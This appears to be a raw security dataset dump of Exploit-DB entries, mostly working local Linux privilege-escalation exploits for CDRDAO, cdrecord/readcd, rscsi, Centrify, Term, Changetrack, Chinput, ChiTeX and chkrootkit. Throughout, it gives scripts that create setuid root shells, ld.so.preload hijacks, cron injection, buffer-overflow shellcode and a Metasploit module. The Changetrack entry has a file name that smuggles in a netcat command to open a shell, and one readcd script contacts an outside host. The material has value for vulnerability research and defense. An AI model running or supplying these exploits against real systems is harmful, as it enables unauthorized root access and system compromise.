deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21217
Description: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (2)
Type: local
Platform: linux
Date: 2002-01-13
Author: atomi

Exploit:
source: https://www.securityfocus.com/bid/3865/info
 
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
 
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/bash

## cdrdaohack.sh by Jens "atomi" Steube

ROOTEXECDIR="/etc/cron.d/cdr"
CDRDAO="/usr/bin/cdrdao"
USERCONF="$HOME/.cdrdao"

echo "Testing $CDRDAO"
if [ ! -u $CDRDAO ]; then
  echo "ERROR: $CDRDAO is not setuid or does not exist"
  exit 1
fi

echo "Generating Helper Files"

cat > /tmp/daosh.c << EOF
int main () { 
setuid(0); setgid(0);
unlink("/tmp/dao.sh");
unlink("/tmp/daosh.c");
unlink("/etc/cron.d/cdr");
unlink("$HOME/.cdrdao");
execl("/bin/bash","bash","-i",0);
}
EOF

cat > /tmp/dao.sh << EOF
cc -o /tmp/daosh /tmp/daosh.c >/dev/null 2>&1
chown root /tmp/daosh >/dev/null 2>&1
chgrp root /tmp/daosh >/dev/null 2>&1
chmod 6755 /tmp/daosh >/dev/null 2>&1
exit 0
EOF

chmod 700 /tmp/dao.sh

echo "Backing up original $USERCONF file to $USERCONF.orig"
mv $USERCONF $USERCONF.orig >/dev/null 2>&1

echo "Creating Symlink on $USERCONF to $ROOTEXECDIR"
ln -s $ROOTEXECDIR $USERCONF

echo "Executing $CDRDAO"

$CDRDAO write --save --device '
* * * * * root /tmp/dao.sh >/dev/null 2>&1
#' --buffers '
' . >/dev/null 2>&1

echo "Waiting for Rootshell, wait at least 3 minutes"
while [ ! -u /tmp/daosh ]; do
  echo -n "."
  sleep 1
done

echo
echo "Entering Rootshell and removing Helper Files"
echo "Have Phun :-)"
/tmp/daosh
Exploit-DB #21218
Description: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (3)
Type: local
Platform: linux
Date: 2002-01-13
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/3865/info
  
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
  
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo "cdrdao private exploit"
echo "This exploit only for Mandrake series"
echo "newbug [at] chroot.org"
echo "May 2005"

echo "checking if cdrdao is setuid ...";
if [ ! -u /usr/bin/cdrdao ]; then
        echo "[-] Failed";
        exit
fi
echo "[+] done.";
echo "checking if /etc/ld.so.preload already exist ..."
if [ -f /etc/ld.so.preload ]; then
        echo "[-] Failed."
        exit
else
        echo "[+] done."
fi

echo "checking if ~/.cdrdao already exist ..."
if [ -f ~/.cdrdao ]; then
        rm -rf ~/.cdrdao
fi
echo "[+] done."

cd /tmp

echo "preparing hook library ..."
cat >ld.so.c<<EOF
#include <stdlib.h>
uid_t getuid()
{
        return 0;
}
EOF
echo "[+] done."
echo "preparing shell program ..."
cat >sh.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main(int argc,char **argv)
{
        setreuid(0,0);
        setgid(0);

        unlink("/tmp/ld.so");
        if(getuid())
        {
                printf("[-] Failed.\n");
                unlink(argv[0]);
                exit(0);
        }
        printf("[+] Congratulation, You win the game !!\n");
        unlink("/etc/ld.so.preload");

        execl("/bin/bash","bash",(char *)0);

        return 0;
}
EOF
echo "[+] done."

echo "link .cdrdao ==> /etc/ld.so.preload ..."
ln -sf /etc/ld.so.preload ~/.cdrdao
echo "[+] done."

echo "compile hook library ..."
gcc -shared -o ld.so ld.so.c
echo "[+] done."
echo "compile shell program ..."
gcc -o sh sh.c
echo "[+] done."

umask 0

echo "run cdrdao ..."
cdrdao unlock --save >/dev/null 2>&1
echo "[+] done."

echo "checking if /etc/ld.so.preload created successful..."
if [ -f /etc/ld.so.preload ]; then
        echo "[+] done."
else
        echo "[-] Failed."
        exit
fi
echo "/tmp/ld.so">/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
echo "!@#\$@%#$%#$%!@%^"
/tmp/sh
Exploit-DB #21219
Description: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (4)
Type: local
Platform: linux
Date: 2002-01-13
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/3865/info
   
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
   
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.



#!/bin/sh
DIR=`pwd`
echo ""
echo "cdrdao local root exploit - gr doesn't protect you this time"
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
echo ""
sleep 2
umask 000
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
if [ -f /etc/ld.so.preload ]; then
echo "WRONG"
echo "/etc/ld.so.preload exists, write another exploit ;P"
exit
else
echo "OK"
fi
echo -n "[*] Checking if su is setuid ... "
if [ -u /bin/su ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Creating evil *uid() library ... "
cat > getuid_lib.c << _EOF
int getuid(void) {
	return 0; }
_EOF
gcc -o getuid_lib.o -c getuid_lib.c
ld -shared -o getuid_lib.so getuid_lib.o
rm -f getuid_lib.c getuid_lib.o
if [ -f ./getuid_lib.so ]; then
echo "OK"
else
echo "WRONG"
fi
echo -n "[*] Creating suidshell ... "
cat > suid.c << _EOF
int main(void) {
	setgid(0); setuid(0);
	unlink("./suid");
	execl("/bin/sh","sh",0); }
_EOF
gcc -o suid suid.c
rm -f suid.c
if [ -x ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Exploiting cdrdao ... "
ln -sf /etc/ld.so.preload $HOME/.cdrdao
if [ ! -L $HOME/.cdrdao ];then
echo "Could'n link to \$HOME/.cdrdao"
exit
fi
cdrdao unlock --save 2>/dev/null
>/etc/ld.so.preload
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"
if [ -s ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
rm -f getuid_lib.so
unlink $HOME/.cdrdao
echo "Entering rootshell ... ;]"
./suid
Exploit-DB #438
Description: CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation
Type: local
Platform: linux
Date: 2004-09-11
Author: I)ruid

Exploit:
#!/bin/bash

#
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
# Exploits cdrecord's exec() of $RSH before dropping privs 
#

cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

main( int argc, char *argv[] ) {
int fd1, fd2;
int count;
char buffer[1];

/* Set ID's */
setuid( geteuid() );
setgid( geteuid() );

/* Copy the shell */
if ((fd1=open( "/bin/bash", O_RDONLY))<0)
return -1;
if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
return -1;
while((count=read(fd1, buffer, 1)))
write(fd2, buffer, count);
free(buffer);
close( fd1 );
close( fd2 );

/* Priv the shell */
chown( "./bash", geteuid(), geteuid() );
chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
./bash -p 

// milw0rm.com [2004-09-11]
Exploit-DB #469
Description: CDRecord's ReadCD - Local Privilege Escalation
Type: local
Platform: linux
Date: 2004-09-19
Author: Max Vozeler

Exploit:
#!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);

return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);

return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss


// milw0rm.com [2004-09-19]
Exploit-DB #22979
Description: CDRTools 2.0 - RSCSI Debug File Arbitrary Local File Manipulation
Type: local
Platform: linux
Date: 2003-08-01
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/8328/info

It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files. 

It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.

$ echo C`echo -e 
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` | 
/opt/schily/sbin/rscsi /tmp/lala


[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ ls -al oops.so
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
E0
Garbage command
0
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
[kf@vegeta kf]$ su
[root@vegeta kf]# rm /etc/ld.so.preload
rm: remove regular file `/etc/ld.so.preload'? y
[root@vegeta kf]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Exploit-DB #23251
Description: Centrify Deployment Manager 2.1.0.283 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2012-12-09
Author: Larry W. Cashdollar

Exploit:
Centrify Deployment Manager v2.1.0.283 local root
12/7/2012

Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis:

root@h0g:/tmp ls -l /etc/shadow
-r-------- 1 root shadow 1010 Dec 7 21:42 /etc/shadow root@h0g:/tmp

larry@h0g:/tmp$ ln -s /etc/shadow centrify.cmd.0 larry@h0g:/tmp$ ls -l
total 24
lrwxrwxrwx 1 larry larry 11 Dec 7 21:48 centrify.cmd.0 -> /etc/shadow After Analyze/Refresh Computer Information is run :

root@h0g:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow root@h0g:/tmp cat /etc/shadow
echo 144d823c-9c22-4d21-8446-4e2d07556177 vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null temp=$?
echo af43ab93-cfce-485e-b16f-0d4331e0e421 exit ${temp}
root@h0g:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow root@h0g:/tmp

This sucks we clobber the contents of /etc/shadow and we don't have write permission.

No root still.

Looking at the history and trace of what was run on the target system we see this:

Execute echo "echo 8c8ac888-342b-461f-a0ab-659251f3d602" > /tmp/centrify.cmd.0 Result =0 <----- if we create the file before them, we own it.  We can write to it before it's executed and have our command executed.

Execute echo "vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null" >> /tmp/centrify.cmd.0 Result =0
Execute echo "temp=\$?" >> /tmp/centrify.cmd.0 Result =0
Execute echo "echo b2449bef-65c1-45e8-9da0-4801200c5c05" >> /tmp/centrify.cmd.0 Result =0
Execute echo "exit \${temp}" >> /tmp/centrify.cmd.0 Result =0
Execute chmod 755 /tmp/centrify.cmd.0 Result =0 
Execute dzdo -p "Password:" sh -c "/tmp/centrify.cmd.0" Result =0 <--- dzdo is centrify's sudo equivalent, it's part of the centrify suite.
8c8ac888-342b-461f-a0ab-659251f3d602
b2449bef-65c1-45e8-9da0-4801200c5c05
Execute rm -rf /tmp/centrify.cmd.0 Result =0
Execute id -u Result =0

So our quick dirty exploit:

larry@h0g:/tmp$ while (true) ; do echo "chmod 777 /etc/shadow" >> /tmp/centrify.cmd.0 ; done

Will get us our command executed:

larry@h0g:/tmp$ ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1010 Dec 7 21:57 /etc/shadow larry@h0g:/tmp$

It might work creating the file centrify.cmd.UID, then monitoring it for having the execute bit set with inotify (IN_ATTRIB). When the execute bit is set write our malicious command to the file as it about to be executed by root.

Hopefully Kayne won't smash﻿ my fingers with a hammer.  ;-)

Larry W. Cashdollar
http://vapid.dhs.org
@_larry0
Exploit-DB #21302
Description: Century Software Term For Linux 6.27.869 - Command Line Buffer Overflow
Type: local
Platform: linux
Date: 2002-02-25
Author: Haiku Hacker

Exploit:
// source: https://www.securityfocus.com/bid/4174/info

Term is a commercially available software package for Unix and Linux operating systems. It is distributed and maintained by Century Software.

Under some circumstances, it may be possible for a local user to execute arbitrary code. Term does not properly check bounds when receiving arguments via the tty option on the commandline. As a result, it is possible for a local user to execute the callin and callout programs of Term, and overwrite process memory. This could result in the overwriting of stack variables, including the return address. The callin and callout programs are by default installed setuid root.

/********************************************************/
/* ex-callin.c - Haiku Hacker <haiku@hushmail.com>	*/
/* Exploits the buffer overflow in Century Software's	*/
/* calling component of the Term program for Linux.	*/
/********************************************************/
/* Greets, love, and respect to:			*/
/* KF, Merc, Synapse, UPT old and new, Lance Spitzner,	*/
/* egami, comega, jericho, and most importantly sl1k	*/
/* for his guidance, coaching, and tutoring.		*/
/********************************************************/
/* RFP's Pants						*/
/* -----------						*/
/* Rain Forest Puppy					*/
/* Wears tight black pants to big cons			*/
/* Does he have limp wrist?				*/
/********************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* use this to specify the location of callin */
#define CINPATH "./callin"


int main(int argc, char **argv)
{
	/* Shellcode borrowed from Aleph1 */
	char shellcode[] =
		"\x29\xc0\x29\xdb\x29\xc9\x29\xd2\xb0\xa4\xcd\x80"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
		"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
		"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
		"\xff\xff/bin/sh";

	char egg_string[300];
	int i;
	unsigned long offset = 0;

	if (argc > 1)
	{
		offset = atoi(argv[1]);
	}

	memcpy(egg_string, "tty", 3);

	for (i = 3; i < 95; i++)
		egg_string[i] = 'A';

	*(long *)(egg_string+95) = 0xbffff67c + offset; 

	for (i = 99; i < 300; i++)
		egg_string[i] = 0x90;

	strcpy(egg_string+(sizeof(egg_string)-strlen(shellcode)), shellcode);

	execl(CINPATH, "callin", egg_string, 0);
}
Exploit-DB #9709
Description: Changetrack 4.3-3 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2009-09-17
Author: Rick

Exploit:
TITLE:
Changetrack Privilege Escalation Vulnerability

SECUNIA ADVISORY ID:
SA36756

VERIFY ADVISORY:
http://secunia.com/advisories/36756/

DESCRIPTION:
A vulnerability has been discovered in Changetrack, which can be
exploited by malicious, local users to gain escalated privileges.

The application does not properly escape certain file names, which
can be exploited to inject and execute arbitrary shell commands
(potentially with "root" privileges) by creating a maliciously named
file in a directory tracked by Changetrack.

Successful exploitation requires write privileges to a directory
scanned by Changetrack.

SOLUTION:
Use Changetrack to track trusted directories only.

PROVIDED AND/OR DISCOVERED BY:
Marek Grzybowski


--------------------------------------------------------------------------------
Example of exploitation:

------------ Attacker ----------

rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"
rick@testmachine:~/testt$ ls
<`nc -l -p 5001 -e $SHELL`

--------------------------------


------------ root --------------

testmachine:~# changetrack 

------------ root --------------



------------ Attacker ----------

rick@testmachine:~/testt$ nc 127.0.0.1 5001
id
uid=0(root) gid=0(root) groups=0(root)

--------------------------------

# milw0rm.com [2009-09-17]
Exploit-DB #21231
Description: Chinput 3.0 - Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2002-01-16
Author: xperc

Exploit:
// source: https://www.securityfocus.com/bid/3896/info

Chinput is an input server designed for Chinese characters. It is available on Linux and other Unix based systems. Chinput appears to be installed suid root by default.

A vulnerability exists in Chinput. A local user with an extremely long HOME environment variable may cause a buffer to overflow. If successfully exploited, this can overwrite the instruction pointer, and lead to the execution of arbitrary code as root. 

/* local exploit for Chinput 3.0
 * .. tested in TurboLinux 6.5 with kernel 2.2.18
 *
 * Usage: $gcc chinput_exp.c
 *        $./a.out
 *        bash-2.04$ /usr/bin/chinput
 *
 *                       by xperc@hotmail.com
 *                               2002/1/16
 */

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define OFS 0x1f0

unsigned long get_esp()
{
    __asm__("mov %esp,%eax");
}

char *shellcode=
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"    /*
setuid=0 */
    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"    /*
setgid=0 */
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b"
    "\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56"
    "\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
    "\xff\xff\xff/bin/sh";


char s[512];
char *s1;

int main()
{
	strcpy(s,"HOME=");
	s1=s+5;
	while(s1<s+260+5-strlen(shellcode))
	    *(s1++)=NOP;

	while(*shellcode)
            *(s1++)=*(shellcode++);
        *((unsigned long *)s1)=get_esp()-OFS;
	printf("Jump to: %p\n",*((long *)s1));
	s1+=4;
	*s1=0;
	putenv(s);
	system("bash");
}
Exploit-DB #22452
Description: ChiTeX 6.1.2 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-04-03
Author: zillion

Exploit:
source: https://www.securityfocus.com/bid/7263/info

A vulnerability in ChiTex has been reported that may allow local users to obtain root privileges on vulnerable systems. The vulnerability exists due to the existence of two setuid root binaries that execute the 'cat' program without an absolute path.

An attacker can exploit this vulnerability by creating a malicious 'cat' file and invoking the setuid binaries. This will result in the execution of the attacker-supplied 'cat' file with root privileges. 

#!/bin/sh
echo 'owned' > 'psfontsmap@'
export psfontsmap=/tmp/owned
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
cd /tmp
export PATH="/tmp:$PATH"
/usr/local/bin/chaddpfbname
/tmp/.sh -c id
/tmp/.sh
Exploit-DB #38775
Description: Chkrootkit - Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2015-11-20
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

  # This could also be Excellent, but since it requires
  # up to one day to pop a shell, let's set it to Manual instead.
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chkrootkit Local Privilege Escalation',
      'Description'    => %q{
        Chkrootkit before 0.50 will run any executable file named
        /tmp/update as root, allowing a trivial privsec.

        WfsDelay is set to 24h, since this is how often a chkrootkit
        scan is scheduled by default.
      },
      'Author'         => [
        'Thomas Stangner',        # Original exploit
        'Julien "jvoisin" Voisin' # Metasploit module
      ],
      'References'     => [
        ['CVE', '2014-0476'],
        ['OSVDB', '107710'],
        ['EDB', '33899'],
        ['BID', '67813'],
        ['CWE', '20'],
        ['URL', 'http://seclists.org/oss-sec/2014/q2/430']
      ],
      'DisclosureDate' => 'Jun 04 2014',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Privileged'     => true,
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
    ))

    register_options([
      OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
    ])
  end

  def check
    version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")

    if version =~ /chkrootkit version 0\.[1-4]/
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_warning('Rooting depends on the crontab (this could take a while)')

    write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
    cmd_exec('chmod +x /tmp/update')
    register_file_for_cleanup('/tmp/update')

    print_status('Payload written to /tmp/update')
    print_status('Waiting for chkrootkit to run via cron...')
  end

end